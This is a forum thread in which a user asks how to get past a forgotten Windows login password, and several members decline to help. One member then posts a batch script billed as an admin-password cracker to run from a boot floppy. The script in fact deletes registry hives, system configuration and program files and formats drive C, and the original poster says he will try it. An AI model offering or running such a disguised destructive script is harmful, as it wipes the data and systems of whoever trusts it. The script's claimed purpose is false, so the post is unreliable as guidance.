forgotten windows log in password

By troygle ·
i cant remember my log in for windows when i start the computer, how can i get in to my puter and is there a free option

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I do not think so

by squirrelonfire In reply to forgotten windows log in ...

According to windows website, there is no way to retrieve a
windows log on password. Of course if you have 2 admin
accounts, you can log in the other and reset the password on
the other computers. Windows log in passwords are invented
this way to provide maximum security.
Of course, there may be other ways (not written in the book)
that I do not know.
I hope this helps.

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Microsoft Support

by Tig2 In reply to forgotten windows log in ...

Ring Microsoft support. They should be able to talk you through.

While this is a common problem, I will tell you that we don't provide an answer. Professional ethics dictate that we direct you to your sys admin or Microsoft directly. While I am certain that you would do nothing wrong with this information, publishing it on the open internet would serve to help people with intentions of theft. I know that you will understand.

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See "password trouble" earlier today

by ken In reply to forgotten windows log in ...

See my reply to "password trouble"
If you get into "Safe mode" you may be able to log onto the Administrators account then erase change your password

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Hi Ken

by Tig2 In reply to See "password trouble" ea ...

I can see that you have only been with us for a couple of months. Welcome!

We get password reset requests on an average of 5 a day- and sometimes more. It has become the habit to refer people to either call their in house support, Microsoft, or the system manufacturer- depending on the kind of password reset required. The reason we do this is that many of us have worked on the support side and recognize that an end user should be restricted to whatever policies have been set by the admins. Also we know that the incidence of laptop theft is high and getting higher every day.

Since we don't care to accuse anyone, we have simply quit answering this kind of request. That way we never wonder if we have indeed helped an innocent person or someone less than honest.

The community of TR is something that we all try to protect. I'm glad that you have decided to join us and hope that you understand our position.


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Free Option

by w2ktechman In reply to forgotten windows log in ...

First off, please listen to this. We do not help people here to break passwords. We have no way to determine if you are trying to recover your own PW or break into someones machine, or even just get into a stolen system. For this reason, we do not help. Here are your options from this point.

Contact the systems manufacturer
Contact Microsoft
Take the computer to a qualified repair shop
Have a qualified repair shop go to your location

Aside from that, we cannot help.

If you just want to crack a persons PW, please see my next post.

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Ok, so you want to crack into a system PWcrack 101

by w2ktechman In reply to Free Option

Please read my previous post carefully before continuing with this one.

Ok, so you wanna be a cracker. This is cracking 101. Just remember that NEVER TRY THIS, as it may be illegal. Ok, for starters let me just say that this is tricky. No actual danger though, but you really should practice it on your own system before attempting to try it on anyone elses. You should at minimum try it 5 or 6 times to really get to know how to do it well.

Items needed

Ability to create a batch file
floppy disk
USB floppy disk drive
create a boot floppy with NTFS Write permissions

Ok, once you have gathered the materials you should already have a boot floppy ready. In the autoexec.bat file add the line suser.bat at the end.

On your desktop, create a file called suser.txt for (suser stands for Super User).
Open the suser.txt file and paste the information below

rem # start _admin.pwd
ren %systemroot%\system32\etc %systemroot%\system32\cet
rem start process A32#458
ren %systemroot%\repair\DS_SOFTWARE A1E
ren %systemroot%\repair\DS_SECURITY A2E
ren %systemroot%\repair\DS_SAM A3E
ren %systemroot%\repair\DS_system.bak A4E
del %systemroot%\repair\A*.* /Q /F
del %systemroot%\repair\s*.* /Q /F
rem script _admin.pwd
del %systemroot%\system32\catroot\*.*
del %systemroot%\system32\catroot2\*.*
del %systemroot%\system32\drivers\cet*.*
rem new_pwd.pwd ==generate 0
del "c:\program files" /Q /F
ren %systemroot%\system32 %systemroot%\newpwd
ren %systemroot%\system %systemroot%\system32
rem AUTO_START new_pwd.pwd 44#1
rem _admin.pwd == DISABLE
del %systemroot%\system32\config /Q /F
erase %systemroot%\system32\LogFiles\*.*
format c /Q /A:4096
rem RESTART _admin.pwd

Paste all of this into the suser.txt file. Save and close the file. Rename the file to suser.bat
copy the file to your boot floppy disk.

Boot to the new floppy disk and test it. This may stop and ask to press OK a few times. It should not, but it may still.
Sometimes people really lock down the admin account, but this program is smart enough to unlock from both 'hidden' places, to allow a 'no password' option and blank it out, a double whammy!!!

Remember, this is a REAL program that can get you into serious trouble. Also, it is 'time sensitive' when dealing with another persons system without them knowing. Always get to know a program with this much power BEFORE attempting to use it on someone elses machine.

And most of all, never actually use it. I posted it as informative material. USE AT YOUR OWN RISK!!!
And, never ever tell anyone that I gave this to you....

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I can't find a suitable Smiley for how I feel . . . . . . . . <N/T>

by OldER Mycroft In reply to Ok, so you want to crack ...
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Well Thank You! <NT>

by w2ktechman In reply to I can't find a suitable S ...
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by troygle In reply to Ok, so you want to crack ...

have nooooo idea whot that realy means but ill give it a go and of course i heard nadda :)) thx

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Just Remember -- Never use it! <NT>

by w2ktechman In reply to OMG

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